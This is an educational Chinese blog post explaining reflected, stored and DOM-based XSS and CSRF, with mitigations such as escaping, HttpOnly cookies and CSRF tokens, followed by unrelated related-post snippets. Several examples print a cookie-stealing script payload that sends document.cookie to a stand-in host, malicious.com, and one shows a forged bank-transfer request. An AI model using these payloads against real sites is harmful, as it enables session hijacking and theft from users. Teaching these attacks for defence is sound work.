web安全之有关反射型 XSS 的疑问

奇安信Python反射型XSS解决办法-2021.12.17 项目上线需要通过奇安信代码扫描,在网络上没有找到Python的具体解决办法,参考别人的博客试了一下,通过了代码测试 缺陷的详细信息为: 应用程序通过web请求获取不可信的数据,在未检验数据是否存在恶意代码的情况下,便将其传送给了web用户,应用程序将容易受到反射型xss攻击。 示例: name = request.GET['name'] return 'username:'+name 如果name里包含恶意代码,那么web浏览器就会执行该代码,应用程序将受到反射型xss攻击。 修复建议: 1.输入验证(比 阅读详情

xxx

学习 XSS (Cross-Site Scripting,跨站脚本攻击) 的时候可以了解到 XSS 分为三种:持久型 (type-2),反射型 (type-1) 和基于 DOM 型 (type-0) 。 在看反射型的时候,总结一下大多数帖子给出的解释:恶意脚本本身是作为请求参数发送到站点页面存在漏洞的地方(通常是搜索框),然后脚本反射(出现)在新渲染(或者部分刷新)的页面并执行。

接下来看例子: 用户在一个不防范 XSS 的网站中搜索内容,关键字为 XXX,如果网站内包含 XXX的内容,那么该内容就会被展示出来,如果网站中不包含相关,那么可能会提示 XXX 相关内容不存在。也就是,用户的搜索内容最终都会以某种方式反射到搜索结果中。如果搜索内容为:<script>alert(1)</script>,那么页面就会执行这段 JavaScript 代码,也即该网站存在 XSS 漏洞。

那么问题来了: 作为不懂 JavaScript 的用户,是不可能自己在搜索框中输入恶意脚本攻击自己的。大部分网上的帖子给出的例子到以上内容为止,解释了什么是反射型 XSS,但是却没有说明如何进行攻击。我猜想是通过例如 www.example.com?search=<script>window.location='http://malicious.com/?data=' + document.cookie</script> 这样的恶意链接做到的,经历一番搜寻求证,还是在一些博客中有提及的确是这样做的(具体查看文末参考)。

XSS 小结

上文提到,XSS 可以分为三种,持久型(Persistent),反射型(Reflected),和基于 DOM 型(DOM-Based)。仔细来讲一下这三者吧。

持久型

定义

恶意脚本被攻击者上传到合法的服务器中,并在常规的页面浏览过程中返回给普通用户并被执行。

例子

攻击者在一个博客网站中的一篇博客下评论 <script>window.location='http://malicious.com/?data=' + document.cookie</script>,恶意代码就会在所有访问这篇博客评论的用户的浏览器中执行。

反射型

定义

上文提过了,这里重复一遍:恶意脚本本身是作为请求参数发送到站点页面存在漏洞的地方(通常是搜索框),然后脚本反射(出现)在新渲染(或者部分刷新)的页面并执行。

例子

例子就不重复,开头给出了具体的例子。不过查阅的文章中有张图很形象,这里引用一下

基于 DOM 型

定义

基于 DOM 型 XSS 其实是一种特殊的反射型 XSS,反射型 XSS 的执行过程经过了服务器端(上面的例子中向服务器发了请求),而基于 DOM 的 XSS 没有经过服务器端(恶意代码没有流经服务端),直接通过 JavaScript(并非攻击者写的恶意脚本,而是来自服务器的 DOM 操作脚本)将数据输出到 HTML 页面中。

例子

假设如下表单是让用户选择他的首选语言,默认选项作为参数提供在了 "default" 参数中。

Select your language:
​
<select><script> document.write("<OPTION value=1>" + document.location.href.substring( document.location.href.indexOf("default=") + 8)+"</OPTION>");
document.write("<OPTION value=2>English</OPTION>"); </script></select> 

使用一下 URL 调用该页面

http://www.some.site/page.html?default=French 

可以通过向受害者发送以下 URL 来完成基于 DOM 的 XSS 攻击

http://www.some.site/page.html?default=<script>window.location='http://malicious.com/?data=' + document.cookie</script> 

反射型和持久型区别

最大的区别就是 XSS 恶意代码是否存储在合法服务器中,网友也有提到反射型需要欺骗用户点击链接,而持久型用户访问相关页面就直接触发。

缓解办法

根据攻击原理,可得出如下缓解办法(主要核心是第一条 —— 警惕用户输入):

  • 验证用户输入或者做内容转义

  • 对于反射型,可以提醒用户小心恶意链接(这个几乎没用。。。)或者浏览器对 URL 做识别(Chrome,Firefox都支持)

  • 对于盗用 Cookie ,设置 HttpOnly 属性来保证 JavaScript 代码无法访问 cookie

XSS 延伸之 CSRF

因为都是 Cross-Site,XSS 和 CSRF 有时候一起出现尽管他们并不相同,CSRF 是 Cross-Site Request Forgery (跨站请求伪造),CSRF 攻击通过伪装成受信任用户的请求来利用受信任的网站,不管使用什么方法只要是伪造用户发起的请求都可以称为 CSRF 攻击。

例子

用户访问银行的网站,在 Session 还未过期的情况下(伪造用户身份的关键) ,访问了危险网站,危险网站执行如下代码

$.post('/www.bank.com/transfer?amt=500&transferTo=B, function(data) { } ); 

这时候用户在不知情的情况下转账给了用户B 500元。

缓解办法

不难看出,以上恶意网站发出的请求是跨域请求,在同源策略(Same Origin Policy)未被禁用时会被拦截,即使攻击者通过 iframe/form 来成功发送该请求(才知道表单允许跨域,因为无法获取表单提交后的结果),服务器端也可以通过检查 Referer 来判断请求来源是否合法。 但是,如果银行使用的是 GET 请求来完成转账操作,攻击者可以结合 XSS 来做到 CSRF 攻击,只需要借助以上 XSS 办法让用户点击请求的 URL 即可,这种情况下的 CSRF 又叫 XSRF。这种情况下通过改良网站的 API 设计提高 CSRF 攻击的门槛。 对系统的关键操作添加验证码也是有效抵抗 CSRF 攻击的办法,因为 "CSRF 攻击往往是在用户不知情的情况下构造了网络请求。而验证码会强制用户必须与应用进行交互,才能完成最终请求" 。 不过针对 CSRF 最常用的方法还是使用 CSRF-Token ,通过在每次请求的请求头中添加 Token,服务器检查 Token 可以有效防止 CSRF 攻击。

CSRF 与 XSS 的区别

一句话总结:XSS 利用的是网站对用户(输入)的信任,CSRF 利用的是网站对用户网页浏览器的信任。

网络安全工程师(白帽子)企业级学习路线

第一阶段:安全基础(入门)

第二阶段:Web渗透(初级网安工程师)

第三阶段:进阶部分(中级网络安全工程师)

学习资源分享

Web安全学习篇——XSS基础知识 之前一直都是做的Android客户端安全,也发现了一些安全问题。但后来,渐渐觉得Android App层安全,尤其是偏上层的安全,往往利用条件比较鸡肋,即使是危害比较大的漏洞。所以从今天起,基本放弃App层上层漏洞挖掘工作,后面像两个方向发展,一是Android App的逆向和加固技术,二是web安全。先从web安全开始!本篇记录XSS基础知识学习过程。一、XSS分类XSS漏洞分成三类,反射型XSS 阅读详情

相关推荐

XSS漏洞|DOM型、存储型、反射型

一、XSS漏洞一、XSS漏洞1、XSS漏洞简介XSS全称(跨站脚本攻击),是将恶意代码插入到Web页面中,当用户浏览到该页面时这些嵌入在Web页面的代码就会被执行,从而到达攻击者的攻击目的。2、漏洞产生原理形成XSS漏洞是:因为Web应用程序对用户输入的内容和程序输出的内容没有经过严格的校验和过滤,导致攻击者构造的恶意代码被带入后,又被当作正常的代码输出至前端页面,浏览器当作有效代码解析执行从而产生危害。3、漏洞的危害窃取用户信息网络钓鱼,包括获取各类用户浏览器账号。

pdxdhmk318的博客 2626

tomcat优化之服务器性能

 1、以Tomcat7为例,修改其conf/server.xml文件,优化连接配置,修改其连接数   &lt;Connector connectionTimeout="20000" port="8080" protocol="HTTP/1.1" redirectPort="8443" maxThreads="600" ..

kongquexue的专栏 281

DVWA系列(三)——使用Burpsuite进行反射型XSS(反射型跨站脚本攻击)

1. XSS简介 (1)XSS(cross-site scripting) 跨站脚本攻击,通过web站点漏洞,向客户端交付恶意脚本代码,这些代码可以被浏览器成功的执行,从而实现对客户端的攻击; XSS可以盗取客户端cookie,将客户端重定向到第三方网站; (2)客户端脚本语言 弹窗警告、广告; JavaScript; 在浏览器中执行; (3)JavaScript 与J...

橘子女侠 4100

Web部署Tomcat启动参数参考配置

JAVA_OPTS="-Xms1024m -Xmx1024m -Xss512K -XX:PermSize=128M -XX:MaxPermSize=256m -XX:NewSize=256m -XX:MaxNewSize=512m" -X:非标准参数 -Xms:初始Heap大小 使用中的最小内存 建议给整个堆内存的1/2 -Xmx:Heap最大值 使用中的最大内存 建议和初始Heap保持一...

JingHaiRoad Coder 1059

Web安全之XSS与SQL注入

一、 前言近几年,伴随互联网的高速发展,对Web安全问题的重视也越来越高。Web应用所面临的威胁来自很多方面,其中黑客的破坏是影响最大的,黑客利用Web应用程序存在的漏洞进行非法入侵,从而破坏Web应用服务,盗取用户数据等,如何防范漏洞带来的安全威胁是一项艰巨的挑战。 为了增强用户的交互体验,开发者们在Web应用程序中大量应用客户端脚本,使Web应用的内容与功能变得丰富有趣,然而隐藏的安全威胁随之

古月林夕のblog 7447

XSS注入(1)-两个简单测试理解反射型xss注入和存储型xss注入

XSS注入(1)-两个例子理解反射型xss注入和存储型xss注入 XSS全称 Cross Site Script,为使与css语言重名,所以我们将其称为xss跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意脚本代码,而程序对于用户输入内容未过滤,当用户浏览该页之时,嵌入其中Web里面的脚本代码会被执行,从而达到恶意攻击用户的特殊目的。 xss的分类主要有:反射型XSS、存储型XSS、DOM型XSS。有时也会将DOM型归于反射型XSS中,所以我们经常将xss分为反射型XSS和存储型XSS两大类。 一

妙蛙种子吃了都会妙妙秒的妙脆角的博客 8040

反射型 XSS 疑问及延伸(CSRF)

有关反射型 XSS 的疑问 学习 XSS (Cross-Site Scripting,跨站脚本攻击) 的时候可以了解到 XSS 分为三种:持久型 (type-2),反射型 (type-1) 和基于 DOM 型 (type-0) 。 在看反射型的时候,总结一下大多数帖子给出的解释:恶意脚本本身是作为请求参数发送到站点页面存在漏洞的地方(通常是搜索框),然后脚本反射(出现)在新渲染(或者部分刷新)的页...

weixin_34261739的博客 587

ADS负载牵引仿真避坑指南:从零开始搞定Loadpull模板设置

本文是一份针对ADS负载牵引仿真的深度避坑指南,详细解析了Loadpull模板从初始化配置到结果解读的全过程。文章重点阐述了如何根据设计目标灵活设置扫描圆、采样点等关键参数,以解决仿真不收敛、结果不完整等常见问题,并指导读者在功率与效率之间做出理性权衡,最终提取出用于匹配网络设计的最优负载阻抗。

weixin_29234423的博客 598

web安全之有关反射型 XSS 的疑问_tomcat 反射型xss

基于 DOM 型 XSS 其实是一种特殊的反射型 XSS,反射型 XSS 的执行过程经过了服务器端(上面的例子中向服务器发了请求),而基于 DOM 的 XSS 没有经过服务器端(恶意代码没有流经服务端),直接通过 JavaScript(并非攻击者写的恶意脚本,而是来自服务器的 DOM 操作脚本)将数据输出到 HTML 页面中。,因为 “CSRF 攻击往往是在用户不知情的情况下构造了网络请求。恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;

2401_84297944的博客 853

数电实训:万年历

万年历

Lmyccq的博客 1万+

Solidworks曲面建模学习(三)——样条曲线

本文主要演示平面的空间样条曲线的一些绘制。

东东不熬夜的博客 6505

2024年网络安全最全web安全之有关反射型 XSS 的疑问_tomcat 反射型xss

在结束之际,我想重申的是,学习并非如攀登险峻高峰,而是如滴水穿石般的持久累积。尤其当我们步入工作岗位之后,持之以恒的学习变得愈发不易,如同在茫茫大海中独自划舟,稍有松懈便可能被巨浪吞噬。然而,对于我们程序员而言,学习是生存之本,是我们在激烈市场竞争中立于不败之地的关键。一旦停止学习,我们便如同逆水行舟,不进则退,终将被时代的洪流所淘汰。因此,不断汲取新知识,不仅是对自己的提升,更是对自己的一份珍贵投资。让我们不断磨砺自己,与时代共同进步,书写属于我们的辉煌篇章。需要完整版PDF学习资源私我。

2401_84264010的博客 109

ABAP 7.40 新语法介绍系列之六:使用 FILTER 关键字对 ABAP 内表进行过滤

笔者之前写过的关于 ABAP 740 新语法的文章:本文介绍另一个新的关键字:FILTER.FILTER 是 ABAP 740 中引入的一个关键字,用于简化数据操作,它能够将内部表(Internal Table)中的数据按特定的条件进行过滤,并生成一个新的内部表。FILTER 的引入旨在使代码更加现代化和高效,尤其是在面对大量数据需要过滤的情况下。传统上,开发人员可能需要使用 LOOP AT 结合条件判断来实现,但使用 FILTER 关键字后,代码显得更加简洁且易于维护。

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 1171

2024年web安全之有关反射型 XSS 的疑问_tomcat 反射型xss(2),深入分析

基于 DOM 型 XSS 其实是一种特殊的反射型 XSS,反射型 XSS 的执行过程经过了服务器端(上面的例子中向服务器发了请求),而基于 DOM 的 XSS 没有经过服务器端(恶意代码没有流经服务端),直接通过 JavaScript(并非攻击者写的恶意脚本,而是来自服务器的 DOM 操作脚本)将数据输出到 HTML 页面中。不过针对 CSRF 最常用的方法还是使用 CSRF-Token ,通过在每次请求的请求头中添加 Token,服务器检查 Token 可以有效防止 CSRF 攻击。

2401_84302507的博客 698

【银河麒麟桌面系统】安装英伟达(NVIDIA)显卡驱动

本文详细介绍了在麒麟桌面操作系统V10 SP1(版本号2503)上安装NVIDIA RTX 5060显卡驱动的完整流程。主要内容包括:查看系统版本信息,从NVIDIA官网下载Linux 64位驱动,授予执行权限后运行安装程序,处理安装过程中的X server警告、32位库安装、DKMS模块选择等问题,以及安装完成后如何验证驱动状态。同时提供了卸载驱动的步骤和常见问题解决方案,如处理X server警告、libglvnd EGL依赖问题等。该指南适用于需要在国产麒麟系统上安装NVIDIA显卡驱动的用户,包含完

信创运维工程师 · 银河麒麟 & 容器实战 | 金融生产环境迁移·等保加固 | 142篇原创·17万+阅读 6313

5G Multicast/Broadcast Services(MBS) (七) MBS广播DRX

当处于RRC_IDLE或RRC_INACTIVE或RRC_CONNECTED 状态时,如果为 G-RNTI 配置了broadcast DRX,则允许MAC entity使用broadcast DRX 操作不连续地监听此G-RNTI的PDCCH;此 G-RNTI 的 drx-onDurationTimerPTM 或 drx-InactivityTimerPTM 正在运行的时间,也就是。long DRX周期drx-LongCycle-PTM和drx-StartOffset-PTM定义DRX周期开始的子帧。

asd199086的博客 392

2024年web安全之有关反射型 XSS 的疑问_tomcat 反射型xss(1),2024年最新网络安全开发面试技巧

基于 DOM 型 XSS 其实是一种特殊的反射型 XSS,反射型 XSS 的执行过程经过了服务器端(上面的例子中向服务器发了请求),而基于 DOM 的 XSS 没有经过服务器端(恶意代码没有流经服务端),直接通过 JavaScript(并非攻击者写的恶意脚本,而是来自服务器的 DOM 操作脚本)将数据输出到 HTML 页面中。不过针对 CSRF 最常用的方法还是使用 CSRF-Token ,通过在每次请求的请求头中添加 Token,服务器检查 Token 可以有效防止 CSRF 攻击。

2401_84302507的博客 636

基于单片机的智能温控风扇设计

该智能温控风扇系统的设计目标是根据环境温度自动控制风扇的转速或开关状态,确保用户始终处于舒适的温度范围内。实时温度监测:通过温度传感器(如DS18B20或DHT22)实时监控环境温度。风扇控制:根据温度变化自动调节风扇的转速,温度过高时风扇加速,温度适中时风扇转速降低,达到节能与舒适平衡。LCD显示:通过LCD屏幕实时显示温度信息。无线通信:通过Wi-Fi或蓝牙模块将温度数据发送至手机或云平台,支持远程控制风扇的开关或调节转速。报警功能:温度过高或过低时,蜂鸣器发出警报,提示用户注意。

2201_76125393的博客 1163

XSS | 反射型 XSS 攻击

当目标用户访问该链接时,服务器接收该目标用户的请求并进行处理,然后服务器把带有 XSS 代码的数据发送给目标用户的浏览器,浏览器解析这段带有 XSS 代码的恶意脚本后,就会触发 XSS 攻击。为了方便演示,笔者给 2.0 还是设置了弹窗(保留了弹窗功能才让你知道你被攻击了),点击了弹窗的确认后,会弹出啥,笔者这里就不截图了,怕过不了审,留给读者自己摸索吧。此时,有宝子又会说,你这太明显了,点了 ”确定“ 后又是一个 404 Not Found,而且 URL 这么怪,是个人都能发现这个链接有猫腻,马上举报!

Blue17 の 小窝 4329

非机动车闯红灯检测与自动录像系统实战(YOLO+追踪+红绿灯感知)

本文聚焦非机动车(如电动车、自行车)闯红灯行为的智能识别系统构建,结合 YOLO 检测模型、追踪算法(如 DeepSORT)、红绿灯状态感知与区域判断逻辑,构建完整的违章行为识别与证据录像系统。文章涵盖数据采集、模型选型、红绿灯触发机制、闯红逻辑判定、视频自动保存等核心环节,辅以 Jetson/RK3588 平台部署与工程实测,适用于城市交通监控、智慧路口管控等真实场景。

努力分享一些人工智能、计算机视觉、影像等相关的知识干货! 1285

精雕软件(JDpaint) 5.5 绿色版

精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版

反射型XSS漏洞

实验项目 反射型XSS实验 综合性实验 2020年10月 22日 一、实验综述 1.实验目的及要求 (1)什么是XSS XSS,全称跨站脚本,XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。 (2)XSS分成两类: 一类是来自内部的,主要指的是利用程序自身的漏洞,构造跨站语句。 另一类则是来自外部的***,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。 如当我们要一个站点,我们自己构造一个有跨站漏洞的网页...

fencecat的博客 1万+

SAP B1中文培訓教材_SDK

公司内部培训资料,对开发工具 ,DIAPI, UIAPI,Add-ON有详细解说

反射型XSS、存储型XSS及DOM型XSS到底有什么区别?????

被攻击者是单一 解析地方不同 存储时间不同 允许点的不同

qq_41734243的博客 1万+

数学建模模型总结

这是本人在两年内准备参加数学建模竞赛搜集到的模型资料,已经经过了本人的筛选和整理,希望能够对准备参加数学建模竞赛的学弟学妹们提供一些帮助!

Outlook Express 6 (OE6) for Win7/Win8/Win10

英文版 Outlook Express6.0, 兼容Win7/Win10/WinXP,解压就可用。

Web渗透测试之XSS攻击:反射型XSS

文章目录前言反射型XSS最简单的反射型XSS利用反射型XSS获得cookie获得cookie的最简单的方法DNSlog辅助获得cookie总结 前言 在上一篇博客中我们基本了解了XSS的类型和危害,在本篇中我们将通过具体的例子和讲解,深入理解反射型XSS攻击的具体过程及危害。 反射型XSS 在上一篇中我们了解到反射型XSS是立即被包含在当前响应的HTTP请求中的,并且具有一次性,接下来我们就来看看一个最简单的反射型XSS例子。 最简单的反射型XSS 靶场题目首页如下: 接着在搜索栏输入一个最简单反射型XS

vodkaDL的博客 3544

DVWA-XSS (Reflected)-反射型XSS

XSS攻击,是指攻击者在Web页面中输入恶意的JavaScript脚本,而Web应用程序没有对用户的输入进行过滤或处理就直接执行,将结果输出在网页中。如果恶意JavaScript脚本被存储到后端服务器中,用户打开该Web页面时,恶意脚本则可能在浏览器中自动执行。XSS攻击依赖于JavaScript脚本的执行。一般,攻击者插入恶意脚本后,需要将脚本执行结果显示出来,因此,XSS攻击常见于网站中有用户输入且能够显示的地方,如文章发表、评论回复、留言板等。

seanyang_的博客 4387

[ pikachu ] 靶场通关之 XSS (二) --- 反射型 XSS 之 get 型

???? 博主介绍 ????‍???? 博主介绍:大家好,我是_PowerShell,很高兴认识大家~ ✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】 ????点赞➕评论➕收藏 == 养成习惯(一键三连)???? ????欢迎关注????一起学习????一起讨论⭐️一起进步????文末有彩蛋 ????作者水平有限,欢迎各位大佬指点,相互学习进步! 目录 ???? 博主介绍 一、反射型xss(get) 二、过关: 1. 页面 2. 首先确认一下这个页

qq_51577576的博客 2940
上一篇: 零基础自学网络安全?劝你还是别做梦了,你可能不知道这行门槛有多高...
下一篇: Web安全系列之CSRF攻击
披荆斩棘的GG
博客等级 码龄4年 1万+粉丝 2960原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值